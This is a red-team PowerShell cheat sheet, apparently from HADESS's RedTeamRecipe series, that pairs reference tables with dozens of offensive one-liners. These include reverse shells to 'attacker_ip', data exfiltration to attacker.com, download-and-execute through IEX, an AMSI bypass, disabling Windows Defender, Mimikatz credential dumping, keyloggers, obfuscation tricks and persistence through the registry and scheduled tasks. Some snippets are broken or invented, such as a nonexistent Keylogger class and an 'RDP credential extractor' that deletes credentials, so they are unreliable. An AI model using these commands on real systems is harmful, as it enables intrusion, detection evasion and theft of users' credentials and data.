
Powershell
Tips & Tricks
for r/b/p teamers
HADESS
WWW.HADESS.IO

RedTeamRecipe

Red Team Recipe for Fun & Profit.

Follow

Powershell Tips & Tricks(RTC0024)

Table 1-2 Common Operators with Examples

Operator	Name	Examples	Result
+	Addition/concatenation	1 + 2, “Hello” + “World!”	3, “HelloWorld!”
-	Subtraction	2 – 1	1
*	Multiplication	2 * 4	8
/	Division	8 / 4	2
%	Modulus	6 % 4	2
[]	Index	@(3, 2, 1, 0)[1]	2
-f	String formatter	“0x{0:X} {1}” -f 42, 123	“0x2A 123”
-band	Bitwise AND	0x1FF -band 0xFF	255
-bor	Bitwise OR	0x100 -bor 0x20	288
-bxor	Bitwise XOR	0xCC -bxor 0xDD	17
-bnot	Bitwise NOT	-bnot 0xEE	-239
-and	Boolean AND	$true -and $false	$false
-or	Boolean OR	$true -or $false	$true
-not	Boolean NOT	-not $true	$false
-eq	Equals	“Hello” -eq “Hello”	$true
-ne	Not equals	“Hello” -ne “Hello”	$false
-lt	Less than	4 -lt 10	$true
-gt	Greater than	4 -gt 10	$false

Table 1-3 String Character Escapes

Character escape	Name
`0	NUL character, with a value of zero
`a	Bell
`b	Backspace
`n	Line feed
`r	Carriage return
`t	Horizontal tab
`v	Vertical tab
``	Backtick character

Table 2-1 API Prefixes to Subsystem

Prefix	Subsystem	Example
Nt or Zw	System call interface	NtOpenFile/ZwOpenFile
Se	Security reference monitor	SeAccessCheck
Ob	Object manager	ObReferenceObjectByHandle
Ps	Process and thread manager	PsGetCurrentProcess
Cm	Configuration manager	CmRegisterCallback
Mm	Memory manager	MmMapIoSpace
Io	Input/output manager	IoCreateFile
Ci	Code integrity	CiValidateFileObject

Table 4-4 Legacy Capability SIDs

Capability name	SID
Your Internet connection	S-1-15-3-1
Your Internet connection, including incoming connections from the Internet	S-1-15-3-2
Your home or work networks	S-1-15-3-3
Your pictures library	S-1-15-3-4
Your videos library	S-1-15-3-5
Your music library	S-1-15-3-6
Your documents library	S-1-15-3-7
Your Windows credentials	S-1-15-3-8
Software and hardware certificates or a smart card	S-1-15-3-9
Removable storage	S-1-15-3-10
Your Appointments	S-1-15-3-11
Your Contacts	S-1-15-3-12
Internet Explorer	S-1-15-3-4096

Execution Policy Bypass

```
powershell -ep bypass
```

Enumerating System Information

```
Get-WmiObject -Class Win32_OperatingSystem | Select-Object -Property *
```

This command retrieves detailed information about the operating system, including version, build, and system architecture.

Extracting Network Configuration

```
Get-NetIPConfiguration | Select-Object -Property InterfaceAlias, IPv4Address, IPv6Address, DNServer
```

This command gathers network configuration details such as interface aliases, IPv4 and IPv6 addresses, and DNS server information.

Listing Running Processes with Details

```
Get-Process | Select-Object -Property ProcessName, Id, CPU | Sort-Object -Property CPU -Descending
```

Lists all currently running processes on the system, sorted by CPU usage, and includes process names, IDs, and CPU time.

Accessing Event Logs for Anomalies

```
Get-EventLog -LogName Security | Where-Object {$_.EntryType -eq 'FailureAudit'}
```

Searches the Security event log for entries where the entry type is ‘FailureAudit’, which can indicate security-related anomalies.

Scanning for Open Ports

```
1..1024 | ForEach-Object { $sock = New-Object System.Net.Sockets.TcpClient; $async = $sock.BeginConnect('localhost', $_, $null, $null); $wait = $async.AsyncWaitHandle.WaitOne(100, $false); if($sock.Connected) { $_ } ; $sock.Close() }
```

Scans the first 1024 ports on the local machine to check for open ports, which can be used to identify potential vulnerabilities.

Retrieving Stored Credentials

```
$cred = Get-Credential; $cred.GetNetworkCredential() | Select-Object -Property UserName, Password
```

Prompts for user credentials and then displays the username and password, useful for credential harvesting.

Executing Remote Commands

```
Invoke-Command -ComputerName TargetPC -ScriptBlock { Get-Process } -Credential (Get-Credential)
```

Executes a command remotely on a target PC, in this case, listing processes. Requires credentials for the target system.

Downloading and Executing Scripts from URL

```
$url = 'http://example.com/script.ps1'; Invoke-Expression (New-Object Net.WebClient).DownloadString($url)
```

Downloads and executes a PowerShell script from a specified URL. Useful for executing remote payloads.

Bypassing Execution Policy for Script Execution

```
Set-ExecutionPolicy Bypass -Scope Process -Force; .\script.ps1
```

Temporarily bypasses the script execution policy to run a PowerShell script, allowing execution of unsigned scripts.

Enumerating Domain Users

```
Get-ADUser -Filter * -Properties * | Select-Object -Property Name, Enabled, LastLogonDate
```

Retrieves a list of all domain users, including their names, account status, and last logon dates.

Capturing Keystrokes

```
$path = 'C:\temp\keystrokes.txt'; Add-Type -AssemblyName System.Windows.Forms; $listener = New-Object System.Windows.Forms.Keylogger; [System.Windows.Forms.Application]::Run($listener); $listener.Keys | Out-File -FilePath $path
```

Captures and logs keystrokes to a file, which can be used for gathering sensitive information like passwords.

Extracting Wi-Fi Profiles and Passwords

```
netsh wlan show profiles | Select-String -Pattern 'All User Profile' -AllMatches | ForEach-Object { $_ -replace 'All User Profile *: ', '' } | ForEach-Object { netsh wlan show profile name="$_" key=clear }
```

Extracts Wi-Fi network profiles and their associated passwords stored on the system.

Monitoring File System Changes

```
$watcher = New-Object System.IO.FileSystemWatcher; $watcher.Path = 'C:\'; $watcher.IncludeSubdirectories = $true; $watcher.EnableRaisingEvents = $true; Register-ObjectEvent $watcher 'Created' -Action { Write-Host 'File Created: ' $Event.SourceEventArgs.FullPath }
```

Sets up a monitor on the file system to track and log any changes, such as file creation, which can be useful for detecting suspicious activity.

Creating Reverse Shell

```
$client = New-Object System.Net.Sockets.TCPClient('attacker_ip', attacker_port); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535...
```

Establishes a reverse shell connection to a specified attacker-controlled machine, allowing remote command execution.

Disabling Windows Defender

```
Set-MpPreference -DisableRealtimeMonitoring $true
```

Disables Windows Defender's real-time monitoring feature, which can help in evading detection.

Extracting Browser Saved Passwords

```
Invoke-WebBrowserPasswordDump | Out-File -FilePath C:\temp\browser_passwords.txt
```

Extracts passwords saved in web browsers and saves them to a file, useful for credential harvesting.

Conducting Network Sniffing

```
$adapter = Get-NetAdapter | Select-Object -First 1; New-NetEventSession -Name 'Session1' -CaptureMode SaveToFile -LocalFilePath 'C:\temp\network_capture.etl'; Add-NetEventPacketCaptureProvider -SessionName 'Session1' -Level 4 -CaptureType Both -Enable; Start-NetEventSession -Name 'Session1'; Stop-NetEventSession -Name 'Session1' after 60
```

Sets up a network capture session to sniff packets, which can be analyzed for sensitive data or network troubleshooting.

Bypassing AMSI (Anti-Malware Scan Interface)

```
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```

Bypasses the Anti-Malware Scan Interface (AMSI) in PowerShell, allowing the execution of potentially malicious scripts without detection.

Extracting System Secrets with Mimikatz

```
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"' | Out-File -FilePath C:\temp\logonpasswords.txt
```

Uses Mimikatz to extract logon passwords and other sensitive data from system memory.

String Obfuscation

```
$originalString = 'SensitiveCommand'; $obfuscatedString = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($originalString)); $decodedString = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($obfuscatedString)); Invoke-Expression $decodedString
```

Obfuscates a string (e.g., a command) using Base64 encoding to evade detection by security tools.

Command Aliasing

```
$alias = 'Get-Dir'; Set-Alias -Name $alias -Value Get-ChildItem; Invoke-Expression $alias
```

Creates an alias for a PowerShell command to disguise its true purpose, which can be useful in evading script analysis.

Variable Name Obfuscation

```
$o = 'Get'; $b = 'Process'; $cmd = $o + '-' + $b; Invoke-Expression $cmd
```

Obfuscates a command by splitting it into parts and reassembling it, making the command less recognizable to security tools.

File Path Obfuscation

```
$path = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVGVtcFxBZG1pblRvb2xz')); Invoke-Item $path
```

Obfuscates a file path using Base64 encoding, making it harder to detect malicious file paths or commands.

Using Alternate Data Streams for Evasion

```
$content = 'Invoke-Mimikatz'; $file = 'C:\temp\normal.txt'; $stream = 'C:\temp\normal.txt:hidden'; Set-Content -Path $file -Value 'This is a normal file'; Add-Content -Path $stream -Value $content; Get-Content -Path $stream
```

Hides malicious commands or data in alternate data streams of files, which is a method often used to evade detection.

Bypassing Script Execution Policy

```
$policy = Get-ExecutionPolicy; Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process; # Run your script here; Set-ExecutionPolicy -ExecutionPolicy $policy -Scope Process
```

Temporarily changes the script execution policy to allow the running of unauthorized scripts, then reverts it back to its original setting.

In-Memory Script Execution

```
$code = [System.IO.File]::ReadAllText('C:\temp\script.ps1'); Invoke-Expression $code
```

Executes a PowerShell script entirely in memory without writing to disk, helping to evade file-based detection mechanisms.

Dynamic Invocation with Reflection

```
$assembly = [Reflection.Assembly]::LoadWithPartialName('System.Management'); $type = $assembly.GetType('System.Management.ManagementObjectSearcher'); $constructor = $type.GetConstructor(@([string])); $instance = $constructor.Invoke(@('SELECT * FROM Win32_Process')); $method = $type.GetMethod('Get'); $result = $method.Invoke($instance, @())
```

Uses reflection to dynamically invoke system management functions, allowing for more stealthy execution of commands.

Encoded Command Execution

```
$encodedCmd = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Get-Process')); powershell.exe -EncodedCommand $encodedCmd
```

Executes a Base64-encoded PowerShell command, which can help bypass simple command-line logging and analysis tools.

Utilizing PowerShell Runspaces for Evasion

```
$runspace = [runspacefactory]::CreateRunspace(); $runspace.Open(); $pipeline = $runspace.CreatePipeline(); $pipeline.Commands.AddScript('Get-Process'); $results = $pipeline.Invoke(); $runspace.Close(); $results
```

Executes PowerShell commands within a separate runspace, isolating them from the main PowerShell environment and evading some forms of detection.

Environment Variable Obfuscation

```
$env:PSVariable = 'Get-Process'; Invoke-Expression $env:PSVariable
```

Stores a command in an environment variable and then executes it, which can help hide the command from casual observation and some security tools.

Function Renaming for Evasion

```
Function MyGetProc { Get-Process }; MyGetProc
```

Renames a PowerShell function to something less conspicuous, which can help in evading script analysis and monitoring tools.

Using PowerShell Classes for Code Hiding

```
class HiddenCode { [string] Run() { return 'Hidden command executed' } }; $instance = [HiddenCode]::new(); $instance.Run()
```

Defines a custom PowerShell class to encapsulate and hide malicious code, making it harder for security tools to detect.

Registry Key Usage for Persistence

```
$path = 'HKCU:\Software\MyApp'; New-Item -Path $path -Force; New-ItemProperty -Path $path -Name 'Config' -Value 'EncodedPayload' -PropertyType String -Force; $regValue = Get-ItemProperty -Path $path -Name 'Config'; Invoke-Expression $regValue.Config
```

Uses the Windows Registry to store and later execute encoded payloads, aiding in persistence and evasion.

Out-Of-Band Data Exfiltration

```
$data = Get-Process | ConvertTo-Json; Invoke-RestMethod -Uri 'http://attacker.com/data' -Method Post -Body $data
```

Exfiltrates data out of the target network using web requests, which can bypass traditional data loss prevention mechanisms.

Using PowerShell to Access WMI for Stealth

```
$query = 'SELECT * FROM Win32_Process'; Get-WmiObject -Query $query
```

Leverages WMI (Windows Management Instrumentation) to execute system queries, which can be less conspicuous than direct PowerShell commands.

Scheduled Task for Persistence

```
$action = New-ScheduledTaskAction -Execute 'Powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -Command "YourCommand"'; $trigger = New-ScheduledTaskTrigger -AtStartup; Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'MyTask' -Description 'MyDescription'
```

Creates a scheduled task to execute PowerShell commands, ensuring persistence and execution even after system reboots.

Using PowerShell to Interact with the Network Quietly

```
$client = New-Object Net.Sockets.TcpClient('attacker_ip', 443); $stream = $client.GetStream(); # Send and receive data
```

Establishes a network connection for quiet data transmission, useful for maintaining stealth during data exfiltration or command and control operations.

Base64 Encoding for Command Obfuscation

```
$command = 'Get-Process'; $encodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command)); powershell.exe -EncodedCommand $encodedCommand
```

Encodes a PowerShell command in Base64 to obfuscate it, making it less detectable by security tools.

Utilizing PowerShell Add-Type for Code Execution

```
Add-Type -TypeDefinition 'using System; public class MyClass { public static void Run() { Console.WriteLine("Executed"); } }'; [MyClass]::Run()
```

Defines and executes code within a custom .NET class using PowerShell, which can be used to hide malicious activities within seemingly benign code.

Extracting Credentials from Windows Credential Manager

```
$credman = New-Object -TypeName PSCredentialManager.Credential; $credman | Where-Object { $_.Type -eq 'Generic' } | Select-Object -Property UserName, Password
```

This command utilizes the PSCredentialManager module to extract stored credentials from the Windows Credential Manager, focusing on generic credentials.

Retrieving Passwords from Unsecured Files

```
Select-String -Path C:\Users\*\Documents\*.txt -Pattern 'password' -CaseSensitive
```

Searches for the term ‘password’ in all text files within the Documents folders of all users, which can reveal passwords stored insecurely.

Dumping Credentials from Windows Services

```
Get-WmiObject win32_service | Where-Object {$_.StartName -like '*@*'} | Select-Object Name, StartName, DisplayName
```

Lists Windows services that are running under a specific user account, which can sometimes include credentials in the service configuration.

Extracting Saved RDP Credentials

```
cmdkey /list | Select-String 'Target: TERMSRV' | ForEach-Object { cmdkey /delete:($_ -split ' ')[-1] }
```

Lists and deletes saved Remote Desktop Protocol (RDP) credentials, which can be used to access remote systems.

Retrieving Browser Cookies for Credential Theft

```
$env:USERPROFILE + '\AppData\Local\Google\Chrome\User Data\Default\Cookies' | Get-Item
```

Accesses the Chrome browser’s Cookies file, which can contain session cookies that might be exploited for session hijacking.

Extracting Credentials from IIS Application Pools

```
Import-Module WebAdministration; Get-IISAppPool | Select-Object Name, ProcessModel
```

Retrieves configuration details of IIS Application Pools, including service accounts, which might contain credentials.

Reading Credentials from Configuration Files

```
Get-ChildItem -Path C:\ -Include *.config -Recurse | Select-String -Pattern 'password='
```

Searches for strings containing ‘password=’ in all .config files on the C: drive, which can reveal hardcoded credentials.

Dumping Credentials from Scheduled Tasks

```
Get-ScheduledTask | Where-Object {$_.Principal.UserId -notlike 'S-1-5-18'} | Select-Object TaskName, TaskPath, Principal
```

Lists scheduled tasks that are configured to run under specific user accounts, potentially revealing credentials used for task execution.

Extracting SSH Keys from User Directories

```
Get-ChildItem -Path C:\Users\*\.ssh\id_rsa -Recurse
```

Searches for RSA private keys in the .ssh directories of all users, which can be used for unauthorized access to SSH servers.

Retrieving Credentials from Database Connection Strings

```
Select-String -Path C:\inetpub\wwwroot\*.config -Pattern 'connectionString' -CaseSensitive
```

Scans for database connection strings in web application configuration files, which often contain credentials for database access.

Simple PowerShell Reverse Shell

```
$client = New-Object System.Net.Sockets.TCPClient('attacker_ip', attacker_port); $stream =
$client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0,
$bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,
$i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()}; $client.Close()
```

Establishes a basic reverse shell connection to a specified attacker-controlled machine. This allows the attacker to execute commands remotely.

HTTP-Based PowerShell Reverse Shell

```
while($true) { try { $client = New-Object System.Net.Sockets.TCPClient('attacker_ip', attacker_port);
$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0,
$bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,
$i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()}; $client.Close() } catch { Start-Sleep -Seconds 10 } }
```

This script creates a more resilient reverse shell that attempts to reconnect every 10 seconds if the connection is lost. It uses HTTP for communication.

WebSocket-Based PowerShell Reverse Shell

```
$ClientWebSocket = New-Object System.Net.WebSockets.ClientWebSocket; $uri = New-Object
System.Uri("ws://attacker_ip:attacker_port"); $ClientWebSocket.ConnectAsync($uri, $null).Result;
$buffer = New-Object Byte[] 1024; while ($ClientWebSocket.State -eq 'Open') { $received =
$ClientWebSocket.ReceiveAsync($buffer, $null).Result; $command =
[System.Text.Encoding]::ASCII.GetString($buffer, 0, $received.Count); $output = iex $command 2>&1 |
Out-String; $bytesToSend = [System.Text.Encoding]::ASCII.GetBytes($output);
$ClientWebSocket.SendAsync($bytesToSend, 'Binary', $true, $null).Wait() }
```

Establishes a reverse shell using WebSockets, which can be more stealthy and bypass some network monitoring tools.

DNS-Based PowerShell Reverse Shell

```
function Invoke-DNSReverseShell { param([string]$attacker_ip, [int]$attacker_port) $client = New-Object System.Net.Sockets.TCPClient($attacker_ip, $attacker_port); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $encodedSendback = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($sendback)); nslookup $encodedSendback $attacker_ip; $stream.Flush()}; $client.Close() }
```

This script uses DNS requests to exfiltrate data, making the reverse shell traffic appear as DNS queries, which can be less suspicious and harder to detect.

Encrypted PowerShell Reverse Shell

```
$ErrorActionPreference = 'SilentlyContinue'; $client = New-Object System.Net.Sockets.TCPClient('attacker_ip', attacker_port); $stream = $client.GetStream(); $sslStream = New-Object System.Net.Security.SslStream($stream, $false, {$true} ); $sslStream.AuthenticateAsClient('attacker_ip'); $writer = New-Object System.IO.StreamWriter($sslStream); $reader = New-Object System.IO.StreamReader($sslStream); while($true) { $writer.WriteLine('PS ' + (pwd).Path + '> '); $writer.Flush(); $command = $reader.ReadLine(); if($command -eq 'exit') { break; }; $output = iex $command 2>&1 | Out-String; $writer.WriteLine($output); $writer.Flush() }; $client.Close()
```

Creates an encrypted reverse shell using SSL to secure the communication channel, making it more difficult for network security measures to inspect the traffic.

Invoke Windows API for Keylogging

```
Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class KeyLogger { [DllImport("user32.dll")] public static extern int GetAsyncKeyState(Int32 i); } "@ while ($true) { Start-Sleep -Milliseconds 100 for ($i = 8; $i -le 190; $i++) { if ([KeyLogger]::GetAsyncKeyState($i) -eq -32767) { $Key = [System.Enum]::GetName([System.Windows.Forms.Keys], $i) Write-Host $Key } } }
```

This script uses a Windows API call to check the state of each key on the keyboard, effectively logging keystrokes. It can be used to capture user input.

Accessing Physical Memory with Windows API

```
Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class MemoryReader { [DllImport("kernel32.dll")] public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out int lpNumberOfBytesRead); } "@ $process =
```

```
Get-Process -Name 'process_name' $handle = $process.Handle $buffer = New-Object byte[] 1024 $bytesRead = 0 [MemoryReader]::ReadProcessMemory($handle, [IntPtr]0x00000000, $buffer, $buffer.Length, [ref]$bytesRead)
```

This PowerShell script uses the `ReadProcessMemory` function from the Windows API to read a specified amount of memory from a process. It's useful for extracting information from running processes.

Using Windows API for Screen Capturing

```
Add-Type -TypeDefinition @" using System; using System.Drawing; using System.Runtime.InteropServices; public class ScreenCapture { [DllImport("user32.dll")] public static extern IntPtr GetDesktopWindow(); [DllImport("user32.dll")] public static extern IntPtr GetWindowDC(IntPtr hWnd); [DllImport("gdi32.dll")] public static extern bool BitBlt(IntPtr hObject, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hObjectSource, int nXSrc, int nYSrc, int dwRop); } "@ $desktop = [ScreenCapture]::GetDesktopWindow() $dc = [ScreenCapture]::GetWindowDC($desktop) # Further code to perform screen capture goes here
```

This script demonstrates how to use Windows API calls to capture the screen. It can be used for surveillance or information gathering.

Manipulating Windows Services via API

```
Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class ServiceManager { [DllImport("advapi32.dll", SetLastError = true)] public static extern IntPtr OpenSCManager(string lpMachineName, string lpSCDB, int scParameter); [DllImport("advapi32.dll", SetLastError = true)] public static extern IntPtr CreateService(IntPtr SC_HANDLE, string lpSvcName, string lpDisplayName, int dwDesiredAccess, int dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, IntPtr lpdwTagId, string lpDependencies, string lp, string lpPassword); [DllImport("advapi32.dll", SetLastError = true)] public static extern bool StartService(IntPtr SVHANDLE, int dwNumServiceArgs, string lpServiceArgVectors); } "@ $scManagerHandle = [ServiceManager]::OpenSCManager(null, null, 0xF003F) # Further code to create, modify, or start services goes here
```

This script uses Windows API calls to interact with Windows services, such as creating, starting, or modifying them. This can be used for persistence or privilege escalation.

Windows API for Clipboard Access

```
Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; using System.Text; public class ClipboardAPI { [DllImport("user32.dll")] public static extern bool OpenClipboard(IntPtr hWndNewOwner); [DllImport("user32.dll")] public static extern bool CloseClipboard(); [DllImport("user32.dll")] public static extern IntPtr GetClipboardData(uint uFormat); [DllImport("kernel32.dll")] public static extern IntPtr GlobalLock(IntPtr hMem); [DllImport("kernel32.dll")] public static extern bool GlobalUnlock(IntPtr hMem); [DllImport("kernel32.dll")] public static extern int GlobalSize(IntPtr hMem); } "@ [ClipboardAPI]::OpenClipboard([IntPtr]::Zero) $clipboardData = [ClipboardAPI]::GetClipboardData(13) #
```

```
CF_TEXT format $gLock = [ClipboardAPI]::GlobalLock($clipboardData) $size =
[ClipboardAPI]::GlobalSize($clipboardData) $buffer = New-Object byte[] $size
[System.Runtime.InteropServices.Marshal]::Copy($gLock, $buffer, 0, $size)
[ClipboardAPI]::GlobalUnlock($gLock) [ClipboardAPI]::CloseClipboard()
[System.Text.Encoding]::Default.GetString($buffer)
```

This script demonstrates how to access and manipulate the Windows clipboard using API calls. It can be used to read or modify clipboard contents for information gathering or data manipulation.

Finding Writable and Executable Memory

```
$proc = Get-NtProcess -ProcessId $pid -Access QueryLimitedInformation Get-NtVirtualMemory -Process
$proc | Where-Object { $_.Protect -band "ExecuteReadWrite" }
```

This script is used to identify memory regions within a process that are both writable and executable. Such memory regions can be indicative of malicious activity, such as the injection of shellcode. The script starts by opening a process with limited query access and then enumerates the virtual memory regions, filtering for those with `ExecuteReadWrite` protection.

Description: This technique is useful for identifying potential malicious memory usage within processes, which can be a sign of code injection or other forms of runtime manipulation.

Finding Shared Section Handles

```
$ss = Get-NtHandle -ObjectType Section -GroupByAddress | Where-Object ShareCount -eq 2 $mask = Get-
NtAccessMask -SectionAccess MapWrite $ss = $ss | Where-Object { Test-NtAccessMask $_.AccessIntersection
$mask } foreach($s in $ss) { $count = ($s.ProcessIds | Where-Object { Test-NtProcess -ProcessId $_ -
Access DupHandle }).Count if ($count -eq 1) { $s.Handles | Select ProcessId, ProcessName, Handle } }
```

This script identifies writable Section objects that are shared between two processes. It first groups handles by their kernel object address and then filters for those shared between exactly two processes. It checks for `MapWrite` access and then determines if the Section is shared between a privileged and a low-privileged process.

Description: This technique is useful for identifying shared resources that might be exploited in privilege escalation attacks. Shared writable sections can be a vector for manipulating a higher-privileged process from a lower-privileged one.

Modifying a Mapped Section

```
$sect = $handle.GetObject() $map = Add-NtSection -Section $sect -Protection ReadWrite $random = Get-
RandomByte -Size $map.Length Write-NtVirtualMemory -Mapping $map -Data $random
```

This script demonstrates how to modify a mapped section of memory. It duplicates a handle into the current process, maps it as read-write, and then writes random data to the memory region.

Description: This technique can be used to test the stability and security of shared memory sections. By modifying the contents of a shared section, you can potentially influence the behavior of another process that shares the same memory, which could lead to security vulnerabilities.

Process Creation and Command Line Parsing

```
$proc = New-Win32Process -CommandLine "notepad test.txt"
```

This command creates a new process using the `New-Win32Process` command, which internally calls the Win32 `CreateProcess` API. The command line string specifies the executable to run and any arguments. The `CreateProcess` API parses this command line to find the executable file, handling cases where the executable name does not include an extension like `.exe`.

Description: This technique is crucial for understanding how processes are created and how command line arguments are parsed in Windows. It's particularly relevant for scenarios where a red teamer might need to execute a process with specific parameters or in a certain context.

Security Implications of Command Line Parsing

```
$proc = New-Win32Process -CommandLine "notepad test.txt" -ApplicationName "c:\windows\notepad.exe"
```

By specifying the `ApplicationName` property, you can avoid security risks associated with the default command line parsing behavior of `New-Win32Process`. This method ensures that the executable path is passed verbatim to the new process, preventing potential hijacking scenarios where a less privileged user could influence the process creation path.

Description: This command is a safer alternative for process creation, especially in scenarios where a process with higher privileges creates a new process. It mitigates the risk of path hijacking and unintended execution of malicious executables.

Using Shell APIs for Non-Executable Files

```
Start-Process "document.txt" -Verb "print"
```

This command uses `Start-Process` with a specified verb to handle non-executable files, such as text documents. `Start-Process` internally uses shell APIs like `ShellExecuteEx`, which can handle various file types by looking up the appropriate handler from the registry.

Description: This technique is useful when you need to interact with non-executable files in a way that mimics user actions, such as opening, editing, or printing a file. It leverages the shell's ability to determine the correct application to use for a given file type.

Service Control Manager (SCM) Overview The SCM is a critical component in Windows, responsible for managing system services. These services include:

1. **Remote Procedure Call Subsystem (RPCSS)**: Manages remote procedure call endpoints.
2. **DCOM Server Process Launcher**: Starts COM server processes.

3. **Task Scheduler**: Schedules actions at specific times.
4. **Windows Installer**: Manages program installations.
5. **Windows Update**: Automatically checks and installs updates.
6. **Application Information**: Facilitates User Account Control (UAC) for switching between administrator and non-administrator users.

Description: Understanding SCM is vital for red teamers to manipulate or analyze services that run with higher privileges, potentially exploiting them for gaining elevated access or persistence.

Querying Service Status with PowerShell

```
PS> Get-Win32Service
```

This command uses `Get-Win32Service`, a more comprehensive alternative to the built-in `Get-Service` command in PowerShell. It provides detailed information about each service, including its status (Running or Stopped) and Process ID.

Description: This command is useful for reconnaissance and monitoring of service states on a target system, allowing red teamers to identify potential targets or understand the system's configuration.

Finding Executables That Import Specific APIs

```
PS> $imps = ls "$env:WinDir\*.exe" | ForEach-Object { Get-Win32ModuleImport -Path $_.FullName } PS> $imps | Where-Object Names -Contains "CreateProcessW" | Select-Object ModulePath
```

This script identifies executables that import the `CreateProcessW` API, which can be crucial for finding potential targets for exploitation or understanding how certain applications interact with system processes.

Description: This technique is particularly useful for narrowing down a large set of executables to those that are relevant for a specific vulnerability or behavior, such as process creation.

Finding Hidden Registry Keys or Values

```
PS> ls NtKeyUser:\SOFTWARE -Recurse | Where-Object Name -Match "`0"
```

This command is used to find hidden registry keys, particularly those with NUL characters in their names, which are often used by malware to evade detection.

Description: This approach is essential for uncovering stealthy techniques used by sophisticated malware or for forensic analysis. It demonstrates the power of PowerShell in accessing low-level system details that are not visible through standard tools.

Privileges Overview Privileges in Windows are granted to users to bypass certain security checks. They are critical for red teamers to understand as they can be exploited for elevated access. Privileges can be enabled or disabled, and their state is crucial for their effectiveness.

Using `Get-NtTokenPrivilege`

```
PS> Get-NtTokenPrivilege $token
```

This command lists the privileges of a token, showing their names, LUIDs, and whether they are enabled or disabled. This is useful for assessing the capabilities of a user or process.

Modifying Token Privileges

- **Enabling/Disabling Privileges**: Using `Enable-NtTokenPrivilege` and `Disable-NtTokenPrivilege`, privileges can be toggled. This is crucial for modifying access rights dynamically.
- **Removing Privileges**: `Remove-NtTokenPrivilege` completely removes a privilege from a token, preventing its re-enabling.

Privilege Checks

```
PS> Test-NtTokenPrivilege SeChangeNotifyPrivilege
```

This command checks if a specific privilege is enabled. It's essential for verifying the operational status of a privilege before attempting actions that require it.

Key Privileges

- `SeChangeNotifyPrivilege`: Allows bypassing traverse checking.
- `SeAssignPrimaryTokenPrivilege` and `SeImpersonatePrivilege`: Bypass token assignment and impersonation checks.
- `SeBackupPrivilege` and `SeRestorePrivilege`: Bypass access checks for backup and restore operations.
- `SeDebugPrivilege`: Bypasses access checks for opening process or thread objects.
- Other privileges like `SeCreateTokenPrivilege`, `SeTcbPrivilege`, `SeLoadDriverPrivilege`, `SeTakeOwnershipPrivilege`, and `SeRelabelPrivilege` offer various elevated capabilities.

Restricted Tokens Restricted tokens limit access to resources and are used in sandboxing mechanisms. They are created using the `NtFilterToken` system call or `CreateRestrictedToken` API.

Types of Restricted Tokens

1. **Normal Restricted Tokens**: Limit access based on specified restricted SIDs.
2. **Write-Restricted Tokens**: Introduced in Windows XP SP2, these tokens prevent write access but allow read and execute access, making them simpler but less secure sandboxes.

Creating and Analyzing Restricted Tokens

- **Creating a Restricted Token**: Using `Get-NtToken` with flags like `DisableMaxPrivileges`, `WriteRestricted`, or specifying restricted SIDs.
- **Properties of Restricted Tokens**: Checking properties like `Restricted` and `WriteRestricted` reveals the nature and limitations of the token.

Use Cases and Limitations Restricted tokens are essential for creating secure environments, like sandboxes in web browsers, but they have limitations. For instance, a highly restricted token might not be able to access necessary resources, limiting its practical use.

User Account Control Bypass and Token Manipulation

```
# Inspecting Executable Manifests
PS> ls c:\windows\system32\*.exe | Get-ExecutableManifest

# Manual Elevation of Process
PS> Start-Process notepad -Verb runas

# Accessing and Displaying Linked Tokens
# For Full Token
PS> Use-NtObject($token = Get-NtToken -Linked) {
    Format-NtToken $token -Group -Privilege -Integrity -Information
}

# For Limited Token
PS> Use-NtObject($token = Get-NtToken) {
    Format-NtToken $token -Group -Privilege -Integrity -Information
}
```

Description

- **Inspecting Executable Manifests**: This command lists all executables in the SYSTEM32 directory and retrieves their manifest information, which includes whether they are set to auto-elevate, require administrator privileges, or run as the invoker.

- **Manual Elevation of Process**: This command demonstrates how to manually elevate a process, such as Notepad, to run with administrative privileges using PowerShell. The UAC prompt will appear for confirmation.

- **Accessing and Displaying Linked Tokens**: These commands are used to inspect the properties of the linked tokens in Windows. The first command accesses the full token (elevated), showing its groups, privileges, and integrity level. The second command does the same for the limited token (unelevated). This is crucial for understanding how Windows manages user privileges and how these can be manipulated or inspected for security testing.

    - The full token has higher privileges and a high integrity level, indicating full administrative rights.
